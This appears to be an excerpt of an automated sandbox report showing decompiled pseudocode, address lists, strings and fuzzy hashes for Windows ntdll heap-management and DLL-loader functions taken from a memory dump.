								_t210 = _v48;
								_t251 = _v12 & 0x0000ffff;
								_t131 = _v20;
								_t235 = _v24 - _t131;
								_v24 = _t235;
								_t256 = _t256 + _t131 * 8;
								if(_t256 >=  *((intOrPtr*)(_t210 + 0x28))) {
									goto L41;
								} else {
									goto L39;
								}
							} else {
								_t216 =  *_t256 & 0x0000ffff;
								_v28 = _t216;
								if(_t216 <  *((intOrPtr*)(_t255 + 4))) {
									L28:
									_t242 = _t216 -  *((intOrPtr*)(_t255 + 0x14));
									_v32 = _t242;
									if( *((intOrPtr*)(_t255 + 8)) != 0) {
										_t167 = _t242 + _t242;
									} else {
										_t167 = _t242;
									}
									 *((intOrPtr*)(_t255 + 0xc)) =  *((intOrPtr*)(_t255 + 0xc)) + 1;
									_t168 = _t167 << 2;
									_v40 = _t168;
									_t206 = _v44;
									_v16 =  *((intOrPtr*)(_t168 +  *((intOrPtr*)(_t255 + 0x20))));
									if(_t216 ==  *((intOrPtr*)(_t255 + 4)) - 1) {
										 *((intOrPtr*)(_t255 + 0x10)) =  *((intOrPtr*)(_t255 + 0x10)) + 1;
									}
									_t217 = _v16;
									if(_t217 != 0) {
										_t173 = _t217 - 8;
										_v52 = _t173;
										_t174 =  *_t173;
										__eflags =  *(_t206 + 0x4c);
										if( *(_t206 + 0x4c) != 0) {
											_t245 =  *(_t206 + 0x50) ^ _t174;
											_v36 = _t245;
											_t225 = _t245 >> 0x00000010 ^ _t245 >> 0x00000008 ^ _t245;
											__eflags = _t245 >> 0x18 - _t225;
											if(_t245 >> 0x18 != _t225) {
												_push(_t225);
												E00CAA80D(_t206, _v52, 0, 0);
											}
											_t174 = _v36;
											_t217 = _v16;
											_t242 = _v32;
										}
										_v28 = _v28 - (_t174 & 0x0000ffff);
										__eflags = _v28;
										if(_v28 > 0) {
											goto L34;
										} else {
											goto L33;
										}
									} else {
										L33:
										_t58 = _t256 + 8; // -16
										 *((intOrPtr*)(_v40 +  *((intOrPtr*)(_t255 + 0x20)))) = _t58;
										_t206 = _v44;
										_t217 = _v16;
										L34:
										if(_t217 == 0) {
											asm("bts eax, edx");
										}
										goto L36;
									}
								} else {
									goto L24;
								}
								while(1) {
									L24:
									_t182 =  *_t255;
									if(_t182 == 0) {
										_t216 =  *((intOrPtr*)(_t255 + 4)) - 1;
										__eflags = _t216;
										goto L28;
									}
									_t255 = _t182;
									if(_t216 >=  *((intOrPtr*)(_t255 + 4))) {
										continue;
									} else {
										goto L28;
									}
								}
								goto L28;
							}
						}
					}
					L39:
				} while (_t235 != 0);
				_t214 = _v12;
				_t131 =  *(_t206 + 0x54) ^ _t214;
				 *(_t256 + 4) = _t131;
				if(_t214 == 0) {
					__eflags =  *0xcd8748 - 1;
					if( *0xcd8748 >= 1) {
						_t127 = _t256 + 0xfff; // 0xfff
						_t131 = _t127 & 0xfffff000;
						__eflags = _t131 - _t256;
						if(_t131 != _t256) {
							_t156 =  *[fs:0x30];
							__eflags =  *(_t156 + 0xc);
							if( *(_t156 + 0xc) == 0) {
								_push("HEAP: ");
								E00BEB150();
							} else {
								E00BEB150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
							}
							_push("ROUND_UP_TO_POWER2(FreeBlock, PAGE_SIZE) == (ULONG_PTR)FreeBlock");
							_t131 = E00BEB150();
							__eflags =  *0xcd7bc8;
							if(__eflags == 0) {
								_t131 = E00CA2073(_t206, 1, _t251, __eflags);
							}
						}
					}
				}
				goto L41;
			}

0x00c0a83a
0x00c0a83c
0x00c0a83e
0x00c0a841
0x00c0a844
0x00c0a84a
0x00c0aa53
0x00c0aa59
0x00c0aa59
0x00c0a858
0x00c0a85e
0x00c0aaf5
0x00c0aafc
0x00c5229e
0x00c522a2
0x00c522a8
0x00c522b3
0x00c522b5
0x00c522bb
0x00c522c1
0x00c522c5
0x00c522e6
0x00c522eb
0x00c522f0
0x00c522c7
0x00c522dc
0x00c522e1
0x00c522e1
0x00c522f3
0x00c522f8
0x00c522fd
0x00c52300
0x00c52307
0x00c5230e
0x00c5230e
0x00c52313
0x00c52313
0x00c522b5
0x00c522a2
0x00c0aafc
0x00c0a864
0x00c0a869
0x00c0aa5c
0x00c0aa5e
0x00c0a86f
0x00c0a87f
0x00c0a885
0x00c0a885
0x00c0a88b
0x00c0a890
0x00c0a896
0x00c0ab0c
0x00c0ab0f
0x00c0ab15
0x00c52320
0x00c52320
0x00c0ab1b
0x00c0a89c
0x00c0a89f
0x00c0a8a2
0x00c0a8a2
0x00c0a8a5
0x00c0a8af
0x00c0a8b3
0x00c0a8b8
0x00c0aa66
0x00c0a8be
0x00c0a8c5
0x00c0a8c6
0x00c0a8ce
0x00c52328
0x00c52332
0x00c52337
0x00c52337
0x00c0a8ce
0x00c0a8d4
0x00c0a8d8
0x00c0a8db
0x00c0a8de
0x00c0a8e1
0x00c0a8e5
0x00c0a8e8
0x00c0a8f0
0x00c0a8f3
0x00c5234c
0x00c52350
0x00c52355
0x00c52359
0x00c52359
0x00c0a8f9
0x00c0a901
0x00c0aae4
0x00c0aae4
0x00c0aaea
0x00000000
0x00c0a907
0x00c0a90a
0x00c0a91d
0x00c0a91d
0x00000000
0x00c0a910
0x00c0a910
0x00c0a910
0x00c0a914
0x00c0a924
0x00c0a924
0x00c0a924
0x00c0a924
0x00c0a916
0x00c0a91b
0x00000000
0x00000000
0x00000000
0x00c0a91b
0x00c0a925
0x00c0a925
0x00c0a932
0x00c0a936
0x00c0a93c
0x00c0a93c
0x00c0a93c
0x00c0ab22
0x00c0ab24
0x00c0ab27
0x00c0ab27
0x00c0a942
0x00c0a944
0x00c0aaba
0x00c0aabd
0x00c0aac0
0x00c0aac0
0x00c0aac2
0x00c0ab2f
0x00c0aac4
0x00c0aac4
0x00c0aac7
0x00c0aaca
0x00c0aacc
0x00c0aace
0x00c0aace
0x00c0aace
0x00c0aad1
0x00c0aad1
0x00c0aad7
0x00c0aad9
0x00000000
0x00000000
0x00c52361
0x00c52369
0x00c5236b
0x00000000
0x00c52371
0x00000000
0x00c52371
0x00000000
0x00c5236b
0x00c0aac0
0x00c0a94a
0x00c0a94a
0x00c0a94d
0x00c0a94d
0x00c0a950
0x00c0a954
0x00c52376
0x00c52380
0x00c0a95a
0x00c0a95a
0x00c0a95c
0x00c0a95f
0x00c0a961
0x00c0a961
0x00c0a967
0x00c0a96a
0x00c0a972
0x00c0aa02
0x00c0aa06
0x00c0aa10
0x00c0aa16
0x00c0aa16
0x00c0aa1b
0x00c0aa21
0x00c0aa24
0x00c0aa27
0x00c0aa29
0x00c0aa2c
0x00c0aa32
0x00000000
0x00000000
0x00000000
0x00000000
0x00c0a978
0x00c0a978
0x00c0a97b
0x00c0a981
0x00c0a996
0x00c0a998
0x00c0a99f
0x00c0a9a2
0x00c5238a
0x00c0a9a8
0x00c0a9a8
0x00c0a9a8
0x00c0a9aa
0x00c0a9ad
0x00c0a9b0
0x00c0a9bb
0x00c0a9be
0x00c0a9c7
0x00c0a9c9
0x00c0a9c9
0x00c0a9cc
0x00c0a9d1
0x00c0aa6d
0x00c0aa70
0x00c0aa73
0x00c0aa75
0x00c0aa79
0x00c0aa7e
0x00c0aa82
0x00c0aa8f
0x00c0aa94
0x00c0aa96
0x00c52392
0x00c523a1
0x00c523a1
0x00c0aa9c
0x00c0aa9f
0x00c0aaa2
0x00c0aaa2
0x00c0aaa8
0x00c0aaab
0x00c0aaaf
0x00000000
0x00c0aab5
0x00000000
0x00c0aab5
0x00c0a9d7
0x00c0a9d7
0x00c0a9da
0x00c0a9e0
0x00c0a9e3
0x00c0a9e6
0x00c0a9e9
0x00c0a9eb
0x00c0a9fd
0x00c0a9fd
0x00000000
0x00c0a9eb
0x00000000
0x00000000
0x00000000
0x00c0a983
0x00c0a983
0x00c0a983
0x00c0a987
0x00c0a995
0x00c0a995
0x00c0a995
0x00c0a995
0x00c0a989
0x00c0a98e
0x00000000
0x00c0a990
0x00000000
0x00c0a990
0x00c0a98e
0x00000000
0x00c0a983
0x00c0a972
0x00c0a90a
0x00c0aa34
0x00c0aa34
0x00c0aa40
0x00c0aa43
0x00c0aa46
0x00c0aa4d
0x00c523ab
0x00c523b2
0x00c523b8
0x00c523be
0x00c523c3
0x00c523c5
0x00c523cb
0x00c523d1
0x00c523d5
0x00c523f6
0x00c523fb
0x00c523d7
0x00c523ec
0x00c523f1
0x00c52403
0x00c52408
0x00c52410
0x00c52417
0x00c52422
0x00c52422
0x00c52417
0x00c523c5
0x00c523b2
0x00000000

Strings

ROUND_UP_TO_POWER2(FreeBlock, PAGE_SIZE) == (ULONG_PTR)FreeBlock, xrefs: 00C52403
HEAP[%wZ]: , xrefs: 00C522D7, 00C523E7
HEAP: , xrefs: 00C522E6, 00C523F6
((FreeBlock->Flags & HEAP_ENTRY_DECOMMITTED) || (ROUND_UP_TO_POWER2(FreeBlock, PAGE_SIZE) == (ULONG_PTR)FreeBlock)), xrefs: 00C522F3

Memory Dump Source

Source File: 00000002.00000002.690473130.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID: ((FreeBlock->Flags & HEAP_ENTRY_DECOMMITTED) || (ROUND_UP_TO_POWER2(FreeBlock, PAGE_SIZE) == (ULONG_PTR)FreeBlock))$HEAP: $HEAP[%wZ]: $ROUND_UP_TO_POWER2(FreeBlock, PAGE_SIZE) == (ULONG_PTR)FreeBlock
API String ID: 0-1657114761
Opcode ID: 46d821b98e8c3a2c1648deca98f37f1fa2a34b5e388568a0fdd1287dca9ef471
Instruction ID: 2e211d69c76dc3963a97b367f066ef0d9fb3a30567193be63883996078dfc844
Opcode Fuzzy Hash: 46d821b98e8c3a2c1648deca98f37f1fa2a34b5e388568a0fdd1287dca9ef471
Instruction Fuzzy Hash: 48D1BE34A003459FDB18CF69C490BBAB7F1FF48310F258169E89A9B3C1E334A985DB52

Uniqueness

Uniqueness Score: -1.00%

Function 00C0A229, Relevance: 5.2, Strings: 4, Instructions: 183
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E00C0A229(void* __ecx, void* __edx) {
				signed int _v20;
				char _v24;
				char _v28;
				void* _v44;
				void* _v48;
				void* _v56;
				void* _v60;
				void* __ebx;
				signed int _t55;
				signed int _t57;
				void* _t61;
				intOrPtr _t62;
				void* _t65;
				void* _t71;
				signed char* _t74;
				intOrPtr _t75;
				signed char* _t80;
				intOrPtr _t81;
				void* _t82;
				signed char* _t85;
				signed char _t91;
				void* _t103;
				void* _t105;
				void* _t121;
				void* _t129;
				signed int _t131;
				void* _t133;

				_t105 = __ecx;
				_t133 = (_t131 & 0xfffffff8) - 0x1c;
				_t103 = __edx;
				_t129 = __ecx;
				E00C0DF24(__edx,  &_v28, _t133);
				_t55 =  *(_t129 + 0x40) & 0x00040000;
				asm("sbb edi, edi");
				_t121 = ( ~_t55 & 0x0000003c) + 4;
				if(_t55 != 0) {
					_push(0);
					_push(0x14);
					_push( &_v24);
					_push(3);
					_push(_t129);
					_push(0xffffffff);
					_t57 = E00C29730();
					__eflags = _t57;
					if(_t57 < 0) {
						L17:
						_push(_t105);
						E00CAA80D(_t129, 1, _v20, 0);
						_t121 = 4;
						goto L1;
					}
					__eflags = _v20 & 0x00000060;
					if((_v20 & 0x00000060) == 0) {
						goto L17;
					}
					__eflags = _v24 - _t129;
					if(_v24 == _t129) {
						goto L1;
					}
					goto L17;
				}
				L1:
				_push(_t121);
				_push(0x1000);
				_push(_t133 + 0x14);
				_push(0);
				_push(_t133 + 0x20);
				_push(0xffffffff);
				_t61 = E00C29660();
				_t122 = _t61;
				if(_t61 < 0) {
					_t62 =  *[fs:0x30];
					 *((intOrPtr*)(_t129 + 0x218)) =  *((intOrPtr*)(_t129 + 0x218)) + 1;
					__eflags =  *(_t62 + 0xc);
					if( *(_t62 + 0xc) == 0) {
						_push("HEAP: ");
						E00BEB150();
					} else {
						E00BEB150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					_push( *((intOrPtr*)(_t133 + 0xc)));
					_push( *((intOrPtr*)(_t133 + 0x14)));
					_push(_t129);
					E00BEB150("ZwAllocateVirtualMemory failed %lx for heap %p (base %p, size %Ix)\n", _t122);
					_t65 = 0;
					L13:
					return _t65;
				}
				_t71 = E00C07D50();
				_t124 = 0x7ffe0380;
				if(_t71 != 0) {
					_t74 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
				} else {
					_t74 = 0x7ffe0380;
				}
				if( *_t74 != 0) {
					_t75 =  *[fs:0x30];
					__eflags =  *(_t75 + 0x240) & 0x00000001;
					if(( *(_t75 + 0x240) & 0x00000001) != 0) {
						E00CA138A(_t103, _t129,  *((intOrPtr*)(_t133 + 0x10)),  *((intOrPtr*)(_t133 + 0x10)), 8);
					}
				}
				 *((intOrPtr*)(_t129 + 0x230)) =  *((intOrPtr*)(_t129 + 0x230)) - 1;
				 *((intOrPtr*)(_t129 + 0x234)) =  *((intOrPtr*)(_t129 + 0x234)) -  *((intOrPtr*)(_t133 + 0xc));
				if(E00C07D50() != 0) {
					_t80 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
				} else {
					_t80 = _t124;
				}
				if( *_t80 != 0) {
					_t81 =  *[fs:0x30];
					__eflags =  *(_t81 + 0x240) & 0x00000001;
					if(( *(_t81 + 0x240) & 0x00000001) != 0) {
						__eflags = E00C07D50();
						if(__eflags != 0) {
							_t124 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
							__eflags =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
						}
						E00CA1582(_t103, _t129,  *((intOrPtr*)(_t133 + 0x10)), __eflags,  *((intOrPtr*)(_t133 + 0x14)),  *(_t129 + 0x74) << 3,  *_t124 & 0x000000ff);
					}
				}
				_t82 = E00C07D50();
				_t125 = 0x7ffe038a;
				if(_t82 != 0) {
					_t85 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x230;
				} else {
					_t85 = 0x7ffe038a;
				}
				if( *_t85 != 0) {
					__eflags = E00C07D50();
					if(__eflags != 0) {
						_t125 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x230;
						__eflags =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x230;
					}
					E00CA1582(_t103, _t129,  *((intOrPtr*)(_t133 + 0x10)), __eflags,  *((intOrPtr*)(_t133 + 0x14)),  *(_t129 + 0x74) << 3,  *_t125 & 0x000000ff);
				}
				 *((intOrPtr*)(_t129 + 0x20c)) =  *((intOrPtr*)(_t129 + 0x20c)) + 1;
				_t91 =  *(_t103 + 2);
				if((_t91 & 0x00000004) != 0) {
					E00C3D5E0( *((intOrPtr*)(_t133 + 0x18)),  *((intOrPtr*)(_t133 + 0x10)), 0xfeeefeee);
					_t91 =  *(_t103 + 2);
				}
				 *(_t103 + 2) = _t91 & 0x00000017;
				_t65 = 1;
				goto L13;
			}

0x00c0a229
0x00c0a231
0x00c0a23f
0x00c0a242
0x00c0a244
0x00c0a24c
0x00c0a255
0x00c0a25a
0x00c0a25f
0x00c51c76
0x00c51c78
0x00c51c7e
0x00c51c7f
0x00c51c81
0x00c51c82
0x00c51c84
0x00c51c89
0x00c51c8b
0x00c51c9e
0x00c51c9e
0x00c51cab
0x00c51cb2
0x00000000
0x00c51cb2
0x00c51c8d
0x00c51c92
0x00000000
0x00000000
0x00c51c94
0x00c51c98
0x00000000
0x00000000
0x00000000
0x00c51c98
0x00c0a265
0x00c0a265
0x00c0a266
0x00c0a26f
0x00c0a270
0x00c0a276
0x00c0a277
0x00c0a279
0x00c0a27e
0x00c0a282
0x00c51db5
0x00c51dbb
0x00c51dc1
0x00c51dc5
0x00c51de4
0x00c51de9
0x00c51dc7
0x00c51ddc
0x00c51de1
0x00c51def
0x00c51df3
0x00c51df7
0x00c51dfe
0x00c51e06
0x00c0a302
0x00c0a308
0x00c0a308
0x00c0a288
0x00c0a28d
0x00c0a294
0x00c51cc1
0x00c0a29a
0x00c0a29a
0x00c0a29a
0x00c0a29f
0x00c51ccb
0x00c51cd1
0x00c51cd8
0x00c51cea
0x00c51cea
0x00c51cd8
0x00c0a2a9
0x00c0a2af
0x00c0a2bc
0x00c51cfd
0x00c0a2c2
0x00c0a2c2
0x00c0a2c2
0x00c0a2c7
0x00c51d07
0x00c51d0d
0x00c51d14
0x00c51d1f
0x00c51d21
0x00c51d2c
0x00c51d2c
0x00c51d2c
0x00c51d47
0x00c51d47
0x00c51d14
0x00c0a2cd
0x00c0a2d2
0x00c0a2d9
0x00c51d5a
0x00c0a2df
0x00c0a2df
0x00c0a2df
0x00c0a2e4
0x00c51d69
0x00c51d6b
0x00c51d76
0x00c51d76
0x00c51d76
0x00c51d91
0x00c51d91
0x00c0a2ea
0x00c0a2f0
0x00c0a2f5
0x00c51da8
0x00c51dad
0x00c51dad
0x00c0a2fd
0x00c0a300
0x00000000

Strings

`, xrefs: 00C51C8D
HEAP[%wZ]: , xrefs: 00C51DD7
HEAP: , xrefs: 00C51DE4
ZwAllocateVirtualMemory failed %lx for heap %p (base %p, size %Ix), xrefs: 00C51DF9

Memory Dump Source

Source File: 00000002.00000002.690473130.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID: InitializeThunk
String ID: HEAP: $HEAP[%wZ]: $ZwAllocateVirtualMemory failed %lx for heap %p (base %p, size %Ix)$`
API String ID: 2994545307-2586055223
Opcode ID: 9fadc50088e8d991e0c17f6795fa4947047696784d170e51f85962dcff316516
Instruction ID: 32f6bfbc0c4054ae23869061360de0ae7b6b68624d670f3dbebb2acd805d0527
Opcode Fuzzy Hash: 9fadc50088e8d991e0c17f6795fa4947047696784d170e51f85962dcff316516
Instruction Fuzzy Hash: 0951E0322057809FD322DB68C849F6777E8EF80B50F190568FC668B2D2D725E984DB66

Uniqueness

Uniqueness Score: -1.00%

Function 00C18E00, Relevance: 5.1, Strings: 4, Instructions: 126
COMMON

Download Yara Rule

C-Code - Quality: 44%

			E00C18E00(void* __ecx) {
				signed int _v8;
				char _v12;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr* _t32;
				intOrPtr _t35;
				intOrPtr _t43;
				void* _t46;
				intOrPtr _t47;
				void* _t48;
				signed int _t49;
				void* _t50;
				intOrPtr* _t51;
				signed int _t52;
				void* _t53;
				intOrPtr _t55;

				_v8 =  *0xcdd360 ^ _t52;
				_t49 = 0;
				_t48 = __ecx;
				_t55 =  *0xcd8464; // 0x73b80110
				if(_t55 == 0) {
					L9:
					if( !_t49 >= 0) {
						if(( *0xcd5780 & 0x00000003) != 0) {
							E00C65510("minkernel\\ntdll\\ldrsnap.c", 0x2b5, "LdrpFindDllActivationContext", 0, "Querying the active activation context failed with status 0x%08lx\n", _t49);
						}
						if(( *0xcd5780 & 0x00000010) != 0) {
							asm("int3");
						}
					}
					return E00C2B640(_t49, 0, _v8 ^ _t52, _t47, _t48, _t49);
				}
				_t47 =  *((intOrPtr*)(__ecx + 0x18));
				_t43 =  *0xcd7984; // 0x782b18
				if( *((intOrPtr*)( *[fs:0x30] + 0x1f8)) == 0 || __ecx != _t43) {
					_t32 =  *((intOrPtr*)(_t48 + 0x28));
					if(_t48 == _t43) {
						_t50 = 0x5c;
						if( *_t32 == _t50) {
							_t46 = 0x3f;
							if( *((intOrPtr*)(_t32 + 2)) == _t46 &&  *((intOrPtr*)(_t32 + 4)) == _t46 &&  *((intOrPtr*)(_t32 + 6)) == _t50 &&  *((intOrPtr*)(_t32 + 8)) != 0 &&  *((short*)(_t32 + 0xa)) == 0x3a &&  *((intOrPtr*)(_t32 + 0xc)) == _t50) {
								_t32 = _t32 + 8;
							}
						}
					}
					_t51 =  *0xcd8464; // 0x73b80110
					 *0xcdb1e0(_t47, _t32,  &_v12);
					_t49 =  *_t51();
					if(_t49 >= 0) {
						L8:
						_t35 = _v12;
						if(_t35 != 0) {
							if( *((intOrPtr*)(_t48 + 0x48)) != 0) {
								E00C19B10( *((intOrPtr*)(_t48 + 0x48)));
								_t35 = _v12;
							}
							 *((intOrPtr*)(_t48 + 0x48)) = _t35;
						}
						goto L9;
					}
					if(_t49 != 0xc000008a) {
						if(_t49 != 0xc000008b && _t49 != 0xc0000089 && _t49 != 0xc000000f && _t49 != 0xc0000204 && _t49 != 0xc0000002) {
							if(_t49 != 0xc00000bb) {
								goto L8;
							}
						}
					}
					if(( *0xcd5780 & 0x00000005) != 0) {
						_push(_t49);
						E00C65510("minkernel\\ntdll\\ldrsnap.c", 0x298, "LdrpFindDllActivationContext", 2, "Probing for the manifest of DLL \"%wZ\" failed with status 0x%08lx\n", _t48 + 0x24);
						_t53 = _t53 + 0x1c;
					}
					_t49 = 0;
					goto L8;
				} else {
					goto L9;
				}
			}

0x00c18e0f
0x00c18e16
0x00c18e19
0x00c18e1b
0x00c18e21
0x00c18e7f
0x00c18e85
0x00c59354
0x00c5936c
0x00c59371
0x00c5937b
0x00c59381
0x00c59381
0x00c5937b
0x00c18e9d
0x00c18e9d
0x00c18e29
0x00c18e2c
0x00c18e38
0x00c18e3e
0x00c18e43
0x00c18eb5
0x00c18eb9
0x00c592aa
0x00c592af
0x00c592e8
0x00c592e8
0x00c592af
0x00c18eb9
0x00c18e45
0x00c18e53
0x00c18e5b
0x00c18e5f
0x00c18e78
0x00c18e78
0x00c18e7d
0x00c18ec3
0x00c18ecd
0x00c18ed2
0x00c18ed2
0x00c18ec5
0x00c18ec5
0x00000000
0x00c18e7d
0x00c18e67
0x00c18ea4
0x00c5931a
0x00000000
0x00000000
0x00c59320
0x00c18ea4
0x00c18e70
0x00c59325
0x00c59340
0x00c59345
0x00c59345
0x00c18e76
0x00000000
0x00000000
0x00000000
0x00000000

Strings

LdrpFindDllActivationContext, xrefs: 00C59331, 00C5935D
Probing for the manifest of DLL "%wZ" failed with status 0x%08lx, xrefs: 00C5932A
Querying the active activation context failed with status 0x%08lx, xrefs: 00C59357
minkernel\ntdll\ldrsnap.c, xrefs: 00C5933B, 00C59367

Memory Dump Source

Source File: 00000002.00000002.690473130.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID: LdrpFindDllActivationContext$Probing for the manifest of DLL "%wZ" failed with status 0x%08lx$Querying the active activation context failed with status 0x%08lx$minkernel\ntdll\ldrsnap.c
API String ID: 0-3779518884
Opcode ID: 1e7da813203c6fc2af9f5f184d1d76909e05202b2289eb7891e55c50e1b606cd
Instruction ID: dcd541877ee370e60e4b2f77985bb20d7de9a25bf2a0f784077f770e39cd6f52
Opcode Fuzzy Hash: 1e7da813203c6fc2af9f5f184d1d76909e05202b2289eb7891e55c50e1b606cd
Instruction Fuzzy Hash: 64411929A08311DEDF34AB148C49BF9B7B4AF13304F16416AE824975A1EF709EC8A2C1

Uniqueness

Uniqueness Score: -1.00%

Function 00CA49A4, Relevance: 5.1, Strings: 4, Instructions: 114COMMON

Download Yara Rule

Strings

HEAP[%wZ]: , xrefs: 00CA4A3D, 00CA4AB7
HEAP: , xrefs: 00CA4A4A, 00CA4A5D, 00CA4A5F, 00CA4AC4
Heap %p - headers modified (%p is %lx instead of %lx), xrefs: 00CA4A61
This is located in the %s field of the heap header., xrefs: 00CA4AD6

Memory Dump Source

Source File: 00000002.00000002.690473130.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID: InitializeThunk
String ID: This is located in the %s field of the heap header.$HEAP: $HEAP[%wZ]: $Heap %p - headers modified (%p is %lx instead of %lx)
API String ID: 2994545307-336120773
Opcode ID: 721274cf1628c3f098d14f1ef32912326d6f235a427f9a811ff0ef6634f506de
Instruction ID: 576893b1aec633a490c860d4dc441b87fce278128f748901b5394754d67e65f1
Opcode Fuzzy Hash: 721274cf1628c3f098d14f1ef32912326d6f235a427f9a811ff0ef6634f506de
Instruction Fuzzy Hash: 1F317931180112EFC314DB59C886F6773E8EF46728F24449AF415EB292E7B0AD40E759

Uniqueness

Uniqueness Score: -1.00%

Function 00C099BF, Relevance: 4.3, Strings: 3, Instructions: 572
COMMONCrypto

Download Yara Rule

C-Code - Quality: 78%

			E00C099BF(signed int __ecx, signed short* __edx, signed int* _a4, signed int _a8) {
				char _v5;
				signed int _v12;
				signed int _v16;
				signed short _v20;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed short _t186;
				intOrPtr _t187;
				signed short _t190;
				signed int _t196;
				signed short _t197;
				intOrPtr _t203;
				signed int _t207;
				signed int _t210;
				signed short _t215;
				intOrPtr _t216;
				signed short _t219;
				signed int _t221;
				signed short _t222;
				intOrPtr _t228;
				signed int _t232;
				signed int _t235;
				signed int _t250;
				signed short _t251;
				intOrPtr _t252;
				signed short _t254;
				intOrPtr _t255;
				signed int _t258;
				signed int _t259;
				signed short _t262;
				intOrPtr _t271;
				signed int _t279;
				signed int _t282;
				signed int _t284;
				signed int _t286;
				intOrPtr _t292;
				signed int _t296;
				signed int _t299;
				signed int _t307;
				signed int* _t309;
				signed short* _t311;
				signed short* _t313;
				signed char _t314;
				intOrPtr _t316;
				signed int _t323;
				signed char _t328;
				signed short* _t330;
				signed char _t331;
				intOrPtr _t335;
				signed int _t342;
				signed char _t347;
				signed short* _t348;
				signed short* _t350;
				signed short _t352;
				signed char _t354;
				intOrPtr _t357;
				intOrPtr* _t364;
				signed char _t365;
				intOrPtr _t366;
				signed int _t373;
				signed char _t378;
				signed int* _t381;
				signed int _t382;
				signed short _t384;
				signed int _t386;
				unsigned int _t390;
				signed int _t393;
				signed int* _t394;
				unsigned int _t398;
				signed short _t400;
				signed short _t402;
				signed int _t404;
				signed int _t407;
				unsigned int _t411;
				signed short* _t414;
				signed int _t415;
				signed short* _t419;
				signed int* _t420;
				void* _t421;

				_t414 = __edx;
				_t307 = __ecx;
				_t419 = __edx - (( *(__edx + 4) & 0x0000ffff ^  *(__ecx + 0x54) & 0x0000ffff) << 3);
				if(_t419 == __edx || (( *(__ecx + 0x4c) >> 0x00000014 &  *(__ecx + 0x52) ^ _t419[1]) & 0x00000001) != 0) {
					_v5 = _a8;
					L3:
					_t381 = _a4;
					goto L4;
				} else {
					__eflags =  *(__ecx + 0x4c);
					if( *(__ecx + 0x4c) != 0) {
						_t411 =  *(__ecx + 0x50) ^  *_t419;
						 *_t419 = _t411;
						_t378 = _t411 >> 0x00000010 ^ _t411 >> 0x00000008 ^ _t411;
						__eflags = _t411 >> 0x18 - _t378;
						if(__eflags != 0) {
							_push(_t378);
							E00C9FA2B(__ecx, __ecx, _t419, __edx, _t419, __eflags);
						}
					}
					_t250 = _a8;
					_v5 = _t250;
					__eflags = _t250;
					if(_t250 != 0) {
						_t400 = _t414[6];
						_t53 =  &(_t414[4]); // -16
						_t348 = _t53;
						_t251 =  *_t348;
						_v12 = _t251;
						_v16 = _t400;
						_t252 =  *((intOrPtr*)(_t251 + 4));
						__eflags =  *_t400 - _t252;
						if( *_t400 != _t252) {
							L49:
							_push(_t348);
							_push( *_t400);
							E00CAA80D(_t307, 0xd, _t348, _t252);
							L50:
							_v5 = 0;
							goto L11;
						}
						__eflags =  *_t400 - _t348;
						if( *_t400 != _t348) {
							goto L49;
						}
						 *((intOrPtr*)(_t307 + 0x74)) =  *((intOrPtr*)(_t307 + 0x74)) - ( *_t414 & 0x0000ffff);
						_t407 =  *(_t307 + 0xb4);
						__eflags = _t407;
						if(_t407 == 0) {
							L36:
							_t364 = _v16;
							_t282 = _v12;
							 *_t364 = _t282;
							 *((intOrPtr*)(_t282 + 4)) = _t364;
							__eflags = _t414[1] & 0x00000008;
							if((_t414[1] & 0x00000008) == 0) {
								L39:
								_t365 = _t414[1];
								__eflags = _t365 & 0x00000004;
								if((_t365 & 0x00000004) != 0) {
									_t284 = ( *_t414 & 0x0000ffff) * 8 - 0x10;
									_v12 = _t284;
									__eflags = _t365 & 0x00000002;
									if((_t365 & 0x00000002) != 0) {
										__eflags = _t284 - 4;
										if(_t284 > 4) {
											_t284 = _t284 - 4;
											__eflags = _t284;
											_v12 = _t284;
										}
									}
									_t78 =  &(_t414[8]); // -8
									_t286 = E00C3D540(_t78, _t284, 0xfeeefeee);
									_v16 = _t286;
									__eflags = _t286 - _v12;
									if(_t286 != _v12) {
										_t366 =  *[fs:0x30];
										__eflags =  *(_t366 + 0xc);
										if( *(_t366 + 0xc) == 0) {
											_push("HEAP: ");
											E00BEB150();
										} else {
											E00BEB150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
										}
										_push(_v16 + 0x10 + _t414);
										E00BEB150("HEAP: Free Heap block %p modified at %p after it was freed\n", _t414);
										_t292 =  *[fs:0x30];
										_t421 = _t421 + 0xc;
										__eflags =  *((char*)(_t292 + 2));
										if( *((char*)(_t292 + 2)) != 0) {
											 *0xcd6378 = 1;
											asm("int3");
											 *0xcd6378 = 0;
										}
									}
								}
								goto L50;
							}
							_t296 = E00C0A229(_t307, _t414);
							__eflags = _t296;
							if(_t296 != 0) {
								goto L39;
							} else {
								E00C0A309(_t307, _t414,  *_t414 & 0x0000ffff, 1);
								goto L50;
							}
						} else {
							_t373 =  *_t414 & 0x0000ffff;
							while(1) {
								__eflags = _t373 -  *((intOrPtr*)(_t407 + 4));
								if(_t373 <  *((intOrPtr*)(_t407 + 4))) {
									_t301 = _t373;
									break;
								}
								_t299 =  *_t407;
								__eflags = _t299;
								if(_t299 == 0) {
									_t301 =  *((intOrPtr*)(_t407 + 4)) - 1;
									__eflags =  *((intOrPtr*)(_t407 + 4)) - 1;
									break;
								} else {
									_t407 = _t299;
